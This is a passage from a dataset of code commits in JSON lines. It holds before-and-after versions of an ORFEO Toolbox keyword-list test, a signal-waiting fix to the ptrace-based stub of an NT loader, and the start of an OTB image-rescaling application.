EXIT_SUCCESS;\n}\n\n<commit_msg>BUG: fixed a pb concerning string to double conversion (green dashboard)<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"otbVectorImage.h\"\n#include \"otbImageFileReader.h\"\n#include <otbImageKeywordlist.h>\n#include <iostream>\n#include <sstream>\n#include <iterator>\n\ndouble convertStringToDouble(const std::string& s)\n{\n std::istringstream i(s);\n double x;\n if (!(i >> x))\n return 0;\n return x;\n}\n\nint otbTestImageKeywordlist(int argc, char* argv[])\n{\n\t\n if (argc != 6)\n {\n std::cout << argv[0] \n << \" <input img filename> <input needed keyword list> <input list of tols for each needed kw> \"\n <<\" <output kw list filename> <bool test all kw>\" << std::endl;\n\n return EXIT_FAILURE;\n }\n \n const unsigned int Dimension = 2;\n typedef double InputPixelType;\n typedef otb::VectorImage<InputPixelType, Dimension> InputImageType;\n typedef otb::ImageFileReader<InputImageType> ReaderType;\n \n const char* inputFilename = argv[1];\n std::istringstream issNeededKw(argv[2]);\n std::istringstream issTols(argv[3]);\n char * outGeomFilename = argv[4];\n bool checkAllKw = argv[5];\n \n ReaderType::Pointer reader = ReaderType::New();\n reader->SetFileName(inputFilename);\n reader->UpdateOutputInformation();\n \n otb::ImageKeywordlist kwlist = reader->GetOutput()->GetImageKeywordlist();\n \n if (!(kwlist.GetSize() > 0))\n {\n std::cerr<<\"Error : imageKeywordlist is empty.\"<<std::endl;\n return EXIT_FAILURE;\n } \n\n typedef otb::ImageKeywordlist::KeywordlistMap KeywordlistMapType;\n KeywordlistMapType kwmap = kwlist.GetKeywordlist();\n \n if (checkAllKw) \/\/ Check all keywords (ignore argv[2] and argv[3])\n {\n\t \n\t \/\/ Write keywordlist, read it, compare it to the original list\n\t WriteGeometry(kwlist,outGeomFilename);\n\t otb::ImageKeywordlist kwlist2 = otb::ReadGeometryFromGEOMFile(outGeomFilename);\n\t KeywordlistMapType kwmap2 = kwlist2.GetKeywordlist();\n\t \n\t if (kwmap.size() != kwmap2.size() )\n\t {\n\t\tstd::cerr << \"Error : keyword lists don't have the same size (orig \/ reloaded): \" << kwmap.size() << \" \/ \" << kwmap2.size() << std::endl;\n\t\treturn EXIT_FAILURE;\n\t }\n\t \n\t KeywordlistMapType::iterator kwlistIt = kwmap.begin();\n\t \n\t double val1,val2;\n\t while ( kwlistIt!=kwmap.end() )\n\t {\n\t\t val1 = convertStringToDouble(kwlistIt->second);\n\t\t \n\t\t KeywordlistMapType::iterator it = kwmap2.find(kwlistIt->first);\n\t\t if (it != kwmap2.end() )\n\t\t {\n\t\t val2 = convertStringToDouble(it->second);\n\t\t }\n\t\t else\n\t\t {\n\t\t std::cerr << \"Error : couldn't find key \" << kwlistIt->first << \" in reloaded keyword list.\" << std::endl;\n\t\t\t return EXIT_FAILURE; \n\t\t }\n\t\t if ( fabs( val2 - val1 ) > 0.01 )\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Error : orig key\/value (\" << kwlistIt->first << \" \" << kwlistIt->second << \")\"<< std::endl\n\t\t\t\t\t << \"reloaded key\/value (\" << kwlistIt->first << \" \" << kwmap2[kwlistIt->first] << \")\"<< std::endl;\n\t\t\t\t\treturn EXIT_FAILURE;\n\t\t\t\t}\n\t\t ++kwlistIt;\n\t }\n\t \n }\n else \/\/ Check only needed keywords\n {\n\t \/\/ #1 keywordlist, only check the needed keywords\n\t \/*-------------------------------------*\/\n\t \n\t \/\/Split the string into many tokens, with whitespaces as separators\n\t std::list<std::string> neededKw;\n\t copy(std::istream_iterator<std::string>(issNeededKw),\n\t\t std::istream_iterator<std::string>(),\n\t\t back_inserter(neededKw));\n\t\t \n\t std::list<std::string> missingKw;\n\t for(std::list<std::string>::iterator neededIt=neededKw.begin(); neededIt!=neededKw.end(); ++neededIt)\n\t {\n\t\tbool foundNeededKw = false;\n\t\tfor(KeywordlistMapType::iterator kwlistIt=kwmap.begin(); kwlistIt!=kwmap.end(); ++kwlistIt)\n\t\t{\n\t\t\tstd::size_t found = kwlistIt->first.find(*neededIt);\n\t\t\tif (found!=std::string::npos)\n\t\t\t{ \n\t\t\t\tfoundNeededKw = true;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (!foundNeededKw)\n\t\t\tmissingKw.push_back(*neededIt);\n\t }\n\t \n\t if ( (neededKw.size()>0) && (missingKw.size()>0) )\n\t {\n\t\tstd::cerr << \"Error : some keywords were not found; missing keywords : \" << std::endl;\n\t\tfor (std::list<std::string>::iterator itm = missingKw.begin(); itm != missingKw.end(); ++itm) \n\t\t std::cerr << *itm << std::endl;\n\t\treturn EXIT_FAILURE;\n\t }\n\t \/*-------------------------------------*\/\n\t \n\t \n\t \/\/ #2 Write keywordlist, read it, compare it to the original list\n\t WriteGeometry(kwlist,outGeomFilename);\n\t otb::ImageKeywordlist kwlist2 = otb::ReadGeometryFromGEOMFile(outGeomFilename);\n\t KeywordlistMapType kwmap2 = kwlist2.GetKeywordlist();\n\t \n\t \/\/Split the string into many tokens, with whitespaces as separators\n\t std::list<std::string> tols;\n\t copy(std::istream_iterator<std::string>(issTols),\n\t\t std::istream_iterator<std::string>(),\n\t\t back_inserter(tols));\n\t\t \n\t if (tols.size() != neededKw.size() )\n\t {\n\t\tstd::cerr << \"Error : needed keywords list should have the same size as the tolerances one (needed \/ tols): \" \n\t\t << neededKw.size() << \" \" << tols.size() << std::endl;\n\t\treturn EXIT_FAILURE; \n\t }\n\t\t \n\t std::map<std::string,double> mapKwTol;\n\t std::pair<std::map<std::string,double>::iterator,bool> ret;\n\t std::list<std::string>::iterator tolsIt=tols.begin();\n\t std::list<std::string>::iterator neededKwIt=neededKw.begin();\n\t while ( (tolsIt!=tols.end()) && (neededKwIt!=neededKw.end()) )\n\t {\t\t\n\t mapKwTol.insert( std::pair<std::string,double>(*neededKwIt, convertStringToDouble(*tolsIt) ) );\n\t ++tolsIt;\n\t ++neededKwIt;\n\t }\n\t \n\t if (kwmap.size() != kwmap2.size() )\n\t {\n\t\tstd::cerr << \"Error : keyword lists don't have the same size (orig \/ reloaded): \" << kwmap.size() << \" \/ \" << kwmap2.size() << std::endl;\n\t\treturn EXIT_FAILURE;\n\t }\n\t \n\t for(std::list<std::string>::iterator neededIt=neededKw.begin(); neededIt!=neededKw.end(); ++neededIt)\n\t {\n\t\tKeywordlistMapType::iterator kwlistIt = kwmap.begin();\n\t\tKeywordlistMapType::iterator kwlistIt2 = kwmap2.begin();\n\t\t\n\t\twhile ( (kwlistIt!=kwmap.end()) && (kwlistIt2!=kwmap2.end()) )\n\t\t{\n\t\t\tstd::size_t found = kwlistIt->first.find(*neededIt);\n\t\t\tif (found!=std::string::npos) \/\/ keyword found\n\t\t\t{ \n\t\t\t\t\n\t\t\t\tif ( fabs( convertStringToDouble(kwlistIt->second) - convertStringToDouble(kwlistIt2->second)) > mapKwTol[*neededIt] )\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Error : orig key\/value (\" << kwlistIt->first << \" \" << kwlistIt->second << \")\"<< std::endl\n\t\t\t\t\t << \"reloaded key\/value (\" << kwlistIt2->first << \" \" << kwlistIt2->second << \")\"<< std::endl;\n\t\t\t\t\treturn EXIT_FAILURE;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t++kwlistIt;\n\t\t\t++kwlistIt2;\n\t\t}\n\t }\n }\n return EXIT_SUCCESS;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * nt loader\n *\n * Copyright 2006-2008 Mike McCormack\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA\n *\/\n\n\n#include \"config.h\"\n\n#include <unistd.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <errno.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <sys\/mman.h>\n#include <sys\/time.h>\n#include <assert.h>\n\n#include <sys\/wait.h>\n#include <sched.h>\n\n#include <sys\/ptrace.h>\n#ifdef HAVE_ASM_PTRACE_H\n#include <asm\/ptrace.h>\n#endif\n\n#include \"windef.h\"\n#include \"winnt.h\"\n#include \"mem.h\"\n#include \"thread.h\"\n\n#include \"ptrace_if.h\"\n#include \"debug.h\"\n#include \"platform.h\"\n\n#include \"client.h\"\n#include \"ptrace_base.h\"\n\nclass tt_address_space_impl: public ptrace_address_space_impl\n{\n\tenum stub_state {\n\t\tstub_running,\n\t\tstub_suspended,\n\t};\n\tlong stub_regs[FRAME_SIZE];\n\tchar buffer[64]; \/\/ same size as tt stub's buffer\n\tstub_state state;\n\tint in_fd;\n\tint out_fd;\n\tpid_t child_pid;\nprotected:\n\t\/\/int ptrace_run( PCONTEXT ctx, int single_step );\n\tint readwrite( struct tt_req *req );\n\tvoid run_stub();\n\tvoid suspend();\npublic:\n\tstatic pid_t create_tracee( int& in_fd, int& out_fd );\n\ttt_address_space_impl( pid_t pid, int in_fd, int out_fd );\n\tvirtual pid_t get_child_pid();\n\tvirtual ~tt_address_space_impl();\n\tvirtual int mmap( BYTE *address, size_t length, int prot, int flags, int file, off_t offset );\n\tvirtual int munmap( BYTE *address, size_t length );\n\tvirtual void run( void *TebBaseAddress, PCONTEXT ctx, int single_step, LARGE_INTEGER& timeout, execution_context_t *exec );\n\tvirtual unsigned short get_userspace_fs();\n};\n\npid_t tt_address_space_impl::get_child_pid()\n{\n\treturn child_pid;\n}\n\npid_t tt_address_space_impl::create_tracee( int& in_fd, int& out_fd )\n{\n\tint r;\n\tpid_t pid;\n\tint infds[2], outfds[2];\n\n\tr = pipe( infds );\n\tif (r != 0)\n\t\treturn 0;\n\n\tr = pipe( outfds );\n\tif (r != 0)\n\t\treturn 0;\n\n\tpid = fork();\n\tif (pid == -1)\n\t\treturn pid;\n\tif (pid == 0)\n\t{\n\t\t\/\/ close stdin and stdout\n\t\tclose(0);\n\t\tclose(1);\n\n\t\tdup2( infds[0], STDIN_FILENO );\n\t\tclose( infds[1] );\n\n\t\tdup2( outfds[1], STDOUT_FILENO );\n\t\tclose( outfds[0] );\n\n\t\t::ptrace( PTRACE_TRACEME, 0, 0, 0 );\n\t\tr = ::execl(\".\/ttclient\", \".\/ttclient\", NULL );\n\t\t\/\/ the next line should not be reached\n\t\tdie(\"exec failed %d\\n\", r);\n\t}\n\n\tclose( infds[0] );\n\tclose( outfds[1] );\n\tin_fd = infds[1];\n\tout_fd = outfds[0];\n\n\t\/\/ wait for the child\n\tint status;\n\tif (pid != wait4( pid, &status, WUNTRACED, NULL ))\n\t\treturn -1;\n\n\tr = ::ptrace( PTRACE_CONT, pid, 0, 0 );\n\n\t\/\/ read a single character from the stub to synchronize\n\tdo {\n\t\tchar dummy;\n\t\tr = read(out_fd, &dummy, 1);\n\t} while (r == -1 && errno == EINTR);\n\n\t\/\/fprintf(stderr, \"created process %d\\n\", pid );\n\n\treturn pid;\n}\n\ntt_address_space_impl::tt_address_space_impl(pid_t pid, int in, int out) :\n\tstate(stub_running),\n\tin_fd(in),\n\tout_fd(out),\n\tchild_pid(pid)\n{\n\t\/\/dprintf(\"tt_address_space_impl()\\n\");\n}\n\ntt_address_space_impl::~tt_address_space_impl()\n{\n\tassert( sig_target == 0 );\n\t\/\/dprintf(stderr,\"~tt_address_space_impl()\\n\");\n\tdestroy();\n\tptrace( PTRACE_KILL, child_pid, 0, 0 );\n\tassert( child_pid != -1 );\n\tkill( child_pid, SIGTERM );\n\tchild_pid = -1;\n}\n\naddress_space_impl* create_tt_address_space()\n{\n\t\/\/dprintf(\"create_tt_address_space\\n\");\n\t\/\/ Set up the signal handler and unmask it first.\n\t\/\/ The child's signal handler will be unmasked too.\n\tint in_fd = -1, out_fd = -1;\n\tpid_t pid = tt_address_space_impl::create_tracee( in_fd, out_fd );\n\tif (pid < 0)\n\t\treturn 0;\n\n\treturn new tt_address_space_impl( pid, in_fd, out_fd );\n}\n\nint tt_address_space_impl::readwrite( struct tt_req *req )\n{\n\tint r;\n\n\t\/\/ getting a signal here can deadlock\n\tassert( sig_target == 0 );\n\n\t\/\/ send the buffer to the stub\n\tdo {\n\t\tr = write(in_fd, req, sizeof *req);\n\t} while (r == -1 && errno == EINTR);\n\tif (r != sizeof *req)\n\t{\n\t\tfprintf(stderr, \"write failed %d\\n\", r);\n\t\treturn r;\n\t}\n\n\t\/\/ read the stub's response\n\tstruct tt_reply reply;\n\tdo {\n\t\tr = read(out_fd, &reply, sizeof reply);\n\t} while (r == -1 && errno == EINTR);\n\tif (r != sizeof reply)\n\t{\n\t\tfprintf(stderr, \"read failed\\n\");\n\t\treturn r;\n\t}\n\n\treturn reply.r;\n}\n\nint tt_address_space_impl::mmap( BYTE *address, size_t length, int prot, int flags, int file, off_t offset )\n{\n\t\/\/dprintf(\"tt_address_space_impl::mmap()\\n\");\n\trun_stub();\n\n\tstruct tt_req req;\n\tstruct tt_req_map &map = req.u.map;\n\n\treq.type = tt_req_map;\n\tmap.pid = getpid();\n\tmap.fd = file;\n\tmap.addr = (int) address;\n\tmap.len = length;\n\tmap.ofs = offset;\n\tmap.prot = prot;\n\t\/\/ send our pid to the stub\n\t\/\/dprintf(\"tt_address_space_impl::mmap()\\n\");\n\treturn readwrite( &req );\n}\n\nint tt_address_space_impl::munmap( BYTE *address, size_t length )\n{\n\t\/\/dprintf(\"tt_address_space_impl::munmap()\\n\");\n\trun_stub();\n\tstruct tt_req req;\n\tstruct tt_req_umap &umap = req.u.umap;\n\n\treq.type = tt_req_umap;\n\tumap.addr = (int) address;\n\tumap.len = length;\n\n\treturn readwrite( &req );\n}\n\nvoid tt_address_space_impl::run( void *TebBaseAddress, PCONTEXT ctx, int single_step, LARGE_INTEGER& timeout, execution_context_t *exec )\n{\n\t\/\/dprintf(\"tt_address_space_impl::run()\\n\");\n\n\tsuspend();\n\tptrace_address_space_impl::run( TebBaseAddress, ctx, single_step, timeout, exec );\n}\n\nunsigned short tt_address_space_impl::get_userspace_fs()\n{\n\tsuspend();\n\treturn stub_regs[FS];\n}\n\nvoid tt_address_space_impl::suspend()\n{\n\tif (state == stub_suspended)\n\t\treturn;\n\n\t\/\/ no signals!\n\tassert( sig_target == 0 );\n\n\tassert( child_pid != -1 );\n\tkill( child_pid, SIGSTOP );\n\n\twhile (1)\n\t{\n\t\tint status;\n\t\tpid_t pid = wait4( child_pid, &status, WUNTRACED, NULL );\n\t\tif (pid < 0)\n\t\t\tdie(\"wait failed\\n\");\n\t\tif (pid != child_pid)\n\t\t\tcontinue;\n\t\tif (WIFEXITED(status) )\n\t\t\tdie(\"Client died\\n\");\n\n\t\tif (WIFSTOPPED(status) && WEXITSTATUS(status) == SIGSTOP)\n\t\t{\n\t\t\tbreak;\n\t\t}\n\t\tdprintf(\"stray signal %d\\n\", WEXITSTATUS(status));\n\n\t\t\/\/ start the child again so we can get the next signal\n\t\tptrace( PTRACE_CONT, child_pid, 0, 0 );\n\t}\n\n\tif (state == stub_running)\n\t{\n\t\t\/\/dprintf(\"saving registers\\n\");\n\t\tint r = ptrace_get_regs( child_pid, stub_regs );\n\t\tif (r < 0)\n\t\t\tdie(\"failed to save stub registers\\n\");\n\t}\n\n\tstate = stub_suspended;\n}\n\nvoid tt_address_space_impl::run_stub()\n{\n\tint r;\n\tsuspend();\n\tr = ptrace_set_regs( child_pid, stub_regs );\n\tif (r < 0)\n\t\tdie(\"ptrace_set_regs failed\\n\");\n\tr = ::ptrace( PTRACE_CONT, child_pid, 0, 0 );\n\tif (r < 0)\n\t\tdie(\"ptrace( PTRACE_CONT ) failed\\n\");\n\tstate = stub_running;\n}\n\nbool init_tt()\n{\n\tdprintf(\"using tt\\n\");\n\tptrace_address_space_impl::set_signals();\n\tpcreate_address_space = &create_tt_address_space;\n\treturn true;\n}\n<commit_msg>Wait for signals properly<commit_after>\/*\n * nt loader\n *\n * Copyright 2006-2008 Mike McCormack\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA\n *\/\n\n\n#include \"config.h\"\n\n#include <unistd.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <errno.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <sys\/mman.h>\n#include <sys\/time.h>\n#include <assert.h>\n\n#include <sys\/wait.h>\n#include <sched.h>\n\n#include <sys\/ptrace.h>\n#ifdef HAVE_ASM_PTRACE_H\n#include <asm\/ptrace.h>\n#endif\n\n#include \"windef.h\"\n#include \"winnt.h\"\n#include \"mem.h\"\n#include \"thread.h\"\n\n#include \"ptrace_if.h\"\n#include \"debug.h\"\n#include \"platform.h\"\n\n#include \"client.h\"\n#include \"ptrace_base.h\"\n\nclass tt_address_space_impl: public ptrace_address_space_impl\n{\n\tenum stub_state {\n\t\tstub_running,\n\t\tstub_suspended,\n\t};\n\tlong stub_regs[FRAME_SIZE];\n\tchar buffer[64]; \/\/ same size as tt stub's buffer\n\tstub_state state;\n\tint in_fd;\n\tint out_fd;\n\tpid_t child_pid;\nprotected:\n\t\/\/int ptrace_run( PCONTEXT ctx, int single_step );\n\tint readwrite( struct tt_req *req );\n\tvoid run_stub();\n\tvoid suspend();\npublic:\n\tstatic void wait_for_signal( pid_t pid, int signal );\n\tstatic pid_t create_tracee( int& in_fd, int& out_fd );\n\ttt_address_space_impl( pid_t pid, int in_fd, int out_fd );\n\tvirtual pid_t get_child_pid();\n\tvirtual ~tt_address_space_impl();\n\tvirtual int mmap( BYTE *address, size_t length, int prot, int flags, int file, off_t offset );\n\tvirtual int munmap( BYTE *address, size_t length );\n\tvirtual void run( void *TebBaseAddress, PCONTEXT ctx, int single_step, LARGE_INTEGER& timeout, execution_context_t *exec );\n\tvirtual unsigned short get_userspace_fs();\n};\n\npid_t tt_address_space_impl::get_child_pid()\n{\n\treturn child_pid;\n}\n\nvoid tt_address_space_impl::wait_for_signal( pid_t pid, int signal )\n{\n\twhile (1)\n\t{\n\t\tint r, status = 0;\n\t\tr = wait4( pid, &status, WUNTRACED, NULL );\n\t\tif (r < 0)\n\t\t\tdie(\"wait_for_signal: wait4() failed %d\\n\", errno);\n\t\tif (r != pid)\n\t\t\tcontinue;\n\t\tif (WIFEXITED(status) )\n\t\t\tdie(\"Client died\\n\");\n\n\t\tif (WIFSTOPPED(status) && WEXITSTATUS(status) == signal)\n\t\t\treturn;\n\n\t\tdprintf(\"stray signal %d\\n\", WEXITSTATUS(status));\n\n\t\t\/\/ start the child again so we can get the next signal\n\t\tptrace( PTRACE_CONT, pid, 0, 0 );\n\t}\n}\n\npid_t tt_address_space_impl::create_tracee( int& in_fd, int& out_fd )\n{\n\tint r;\n\tpid_t pid;\n\tint infds[2], outfds[2];\n\n\tr = pipe( infds );\n\tif (r != 0)\n\t\treturn -1;\n\n\tr = pipe( outfds );\n\tif (r != 0)\n\t\treturn -1;\n\n\tpid = fork();\n\tif (pid == -1)\n\t{\n\t\tdprintf(\"fork() failed %d\\n\", errno);\n\t\treturn pid;\n\t}\n\tif (pid == 0)\n\t{\n\t\t\/\/ close stdin and stdout\n\t\tclose(0);\n\t\tclose(1);\n\n\t\tdup2( infds[0], STDIN_FILENO );\n\t\tclose( infds[1] );\n\n\t\tdup2( outfds[1], STDOUT_FILENO );\n\t\tclose( outfds[0] );\n\n\t\t::ptrace( PTRACE_TRACEME, 0, 0, 0 );\n\t\tr = ::execl(\".\/ttclient\", \".\/ttclient\", NULL );\n\t\t\/\/ the next line should not be reached\n\t\tdie(\"exec failed %d\\n\", r);\n\t}\n\n\tclose( infds[0] );\n\tclose( outfds[1] );\n\tin_fd = infds[1];\n\tout_fd = outfds[0];\n\n\twait_for_signal( pid, SIGTRAP );\n\n\tr = ::ptrace( PTRACE_CONT, pid, 0, 0 );\n\n\t\/\/ read a single character from the stub to synchronize\n\tdo {\n\t\tchar dummy;\n\t\tr = read(out_fd, &dummy, 1);\n\t} while (r == -1 && errno == EINTR);\n\n\t\/\/fprintf(stderr, \"created process %d\\n\", pid );\n\n\treturn pid;\n}\n\ntt_address_space_impl::tt_address_space_impl(pid_t pid, int in, int out) :\n\tstate(stub_running),\n\tin_fd(in),\n\tout_fd(out),\n\tchild_pid(pid)\n{\n\t\/\/dprintf(\"tt_address_space_impl()\\n\");\n}\n\ntt_address_space_impl::~tt_address_space_impl()\n{\n\tassert( sig_target == 0 );\n\t\/\/dprintf(stderr,\"~tt_address_space_impl()\\n\");\n\tdestroy();\n\tptrace( PTRACE_KILL, child_pid, 0, 0 );\n\tassert( child_pid != -1 );\n\tkill( child_pid, SIGTERM );\n\tchild_pid = -1;\n}\n\naddress_space_impl* create_tt_address_space()\n{\n\t\/\/dprintf(\"create_tt_address_space\\n\");\n\t\/\/ Set up the signal handler and unmask it first.\n\t\/\/ The child's signal handler will be unmasked too.\n\tint in_fd = -1, out_fd = -1;\n\tpid_t pid = tt_address_space_impl::create_tracee( in_fd, out_fd );\n\tif (pid < 0)\n\t\treturn 0;\n\n\treturn new tt_address_space_impl( pid, in_fd, out_fd );\n}\n\nint tt_address_space_impl::readwrite( struct tt_req *req )\n{\n\tint r;\n\n\t\/\/ getting a signal here can deadlock\n\tassert( sig_target == 0 );\n\n\t\/\/ send the buffer to the stub\n\tdo {\n\t\tr = write(in_fd, req, sizeof *req);\n\t} while (r == -1 && errno == EINTR);\n\tif (r != sizeof *req)\n\t{\n\t\tfprintf(stderr, \"write failed %d\\n\", r);\n\t\treturn r;\n\t}\n\n\t\/\/ read the stub's response\n\tstruct tt_reply reply;\n\tdo {\n\t\tr = read(out_fd, &reply, sizeof reply);\n\t} while (r == -1 && errno == EINTR);\n\tif (r != sizeof reply)\n\t{\n\t\tfprintf(stderr, \"read failed\\n\");\n\t\treturn r;\n\t}\n\n\treturn reply.r;\n}\n\nint tt_address_space_impl::mmap( BYTE *address, size_t length, int prot, int flags, int file, off_t offset )\n{\n\t\/\/dprintf(\"tt_address_space_impl::mmap()\\n\");\n\trun_stub();\n\n\tstruct tt_req req;\n\tstruct tt_req_map &map = req.u.map;\n\n\treq.type = tt_req_map;\n\tmap.pid = getpid();\n\tmap.fd = file;\n\tmap.addr = (int) address;\n\tmap.len = length;\n\tmap.ofs = offset;\n\tmap.prot = prot;\n\t\/\/ send our pid to the stub\n\t\/\/dprintf(\"tt_address_space_impl::mmap()\\n\");\n\treturn readwrite( &req );\n}\n\nint tt_address_space_impl::munmap( BYTE *address, size_t length )\n{\n\t\/\/dprintf(\"tt_address_space_impl::munmap()\\n\");\n\trun_stub();\n\tstruct tt_req req;\n\tstruct tt_req_umap &umap = req.u.umap;\n\n\treq.type = tt_req_umap;\n\tumap.addr = (int) address;\n\tumap.len = length;\n\n\treturn readwrite( &req );\n}\n\nvoid tt_address_space_impl::run( void *TebBaseAddress, PCONTEXT ctx, int single_step, LARGE_INTEGER& timeout, execution_context_t *exec )\n{\n\t\/\/dprintf(\"tt_address_space_impl::run()\\n\");\n\n\tsuspend();\n\tptrace_address_space_impl::run( TebBaseAddress, ctx, single_step, timeout, exec );\n}\n\nunsigned short tt_address_space_impl::get_userspace_fs()\n{\n\tsuspend();\n\treturn stub_regs[FS];\n}\n\nvoid tt_address_space_impl::suspend()\n{\n\tif (state == stub_suspended)\n\t\treturn;\n\n\t\/\/ no signals!\n\tassert( sig_target == 0 );\n\n\tassert( child_pid != -1 );\n\tkill( child_pid, SIGSTOP );\n\n\twait_for_signal( child_pid, SIGSTOP );\n\n\tif (state == stub_running)\n\t{\n\t\t\/\/dprintf(\"saving registers\\n\");\n\t\tint r = ptrace_get_regs( child_pid, stub_regs );\n\t\tif (r < 0)\n\t\t\tdie(\"failed to save stub registers\\n\");\n\t}\n\n\tstate = stub_suspended;\n}\n\nvoid tt_address_space_impl::run_stub()\n{\n\tint r;\n\tsuspend();\n\tr = ptrace_set_regs( child_pid, stub_regs );\n\tif (r < 0)\n\t\tdie(\"ptrace_set_regs failed\\n\");\n\tr = ::ptrace( PTRACE_CONT, child_pid, 0, 0 );\n\tif (r < 0)\n\t\tdie(\"ptrace( PTRACE_CONT ) failed\\n\");\n\tstate = stub_running;\n}\n\nbool init_tt()\n{\n\tdprintf(\"using tt\\n\");\n\tptrace_address_space_impl::set_signals();\n\tpcreate_address_space = &create_tt_address_space;\n\treturn true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n =========================================================================*\/\n#include \"otbWrapperApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\n#include \"otbStreamingMinMaxVectorImageFilter.h\"\n#include \"otbVectorRescaleIntensityImageFilter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\n\nclass Rescale : public Application\n{\npublic:\n \/** Standard class typedefs. *\/\n typedef Rescale Self;\n typedef Application Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n \/** Standard macro *\/\n itkNewMacro(Self);\n\n itkTypeMacro(Rescale, otb::Application);\n\n \/** Filters typedef *\/\n typedef otb::StreamingMinMaxVectorImageFilter<FloatVectorImageType> MinMaxFilterType;\n typedef otb::VectorRescaleIntensityImageFilter<FloatVectorImageType> RescaleImageFilterType;\n\nprivate:\n Rescale()\n {\n SetName(\"Rescale\");\n SetDescription(\"Rescale the image between two given values.\");\n }\n\n virtual ~Rescale()\n {\n }\n\n void DoCreateParameters()\n {\n AddParameter(ParameterType_InputImage, \"in\", \"Input Image\");\n AddParameter(ParameterType_OutputImage, \"out\", \"Output Image\");\n\n AddParameter(ParameterType_Float, \"outmin\", \"Output min value\");\n AddParameter(ParameterType_Float, \"outmax\", \"Output max value\");\n SetParameterFloat(\"outmin\", 0);\n SetParameterDescription( \"outmin\", \"Minimum value of the output image.\" );\n SetParameterFloat(\"outmax\", 255);\n SetParameterDescription( \"outmax\", \"Maximum value of the output image.\" );\n\n MandatoryOff(\"outmin\");\n MandatoryOff(\"outmax\");\n }\n\n void DoUpdateParameters()\n {\n \/\/ Nothing to do here for the parameters : all are independent\n \n \/\/ Reinitialize the object\n m_RescaleFilter = RescaleImageFilterType::New();\n m_MinMaxFilter = MinMaxFilterType::New();\n }\n\n void DoExecute()\n {\n FloatVectorImageType::Pointer inImage = GetParameterImage(\"in\");\n\n otbAppLogDEBUG( << \"Starting Min\/Max computation\" )\n\n m_MinMaxFilter->GetStreamer()->SetNumberOfLinesStrippedStreaming( 50 );\n m_MinMaxFilter->SetInput( inImage );\n AddProcess(m_MinMaxFilter->GetStreamer(), \"Min\/Max computing\");\n m_MinMaxFilter->Update();\n\n otbAppLogDEBUG( << \"Min\/Max computation done : min=\" << m_MinMaxFilter->GetMinimum()\n << \" max=\" << m_MinMaxFilter->GetMaximum() )\n\n FloatVectorImageType::PixelType inMin, inMax;\n\n m_RescaleFilter->SetInput( inImage );\n m_RescaleFilter->SetInputMinimum( m_MinMaxFilter->GetMinimum() );\n m_RescaleFilter->SetInputMaximum( m_MinMaxFilter->GetMaximum() );\n\n FloatVectorImageType::PixelType outMin, outMax;\n outMin.SetSize( inImage->GetNumberOfComponentsPerPixel() );\n outMax.SetSize( inImage->GetNumberOfComponentsPerPixel() );\n outMin.Fill( GetParameterFloat(\"outmin\") );\n outMax.Fill( GetParameterFloat(\"outmax\") );\n\n m_RescaleFilter->SetOutputMinimum( outMin );\n m_RescaleFilter->SetOutputMaximum( outMax );\n m_RescaleFilter->UpdateOutputInformation();\n \n SetParameterOutputImage(\"out\", m_RescaleFilter->GetOutput());\n }\n \n RescaleImageFilterType::Pointer m_RescaleFilter;\n MinMaxFilterType::Pointer m_MinMaxFilter;\n};\n\n}\n}\n\nOTB_APPLICATION_EXPORT(otb::Wrapper::Rescale)\n<commit_msg>BUG: fix initialization of Rescale application<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n =========================================================================*\/\n#include \"otbWrapperApplication.h\"\n#include 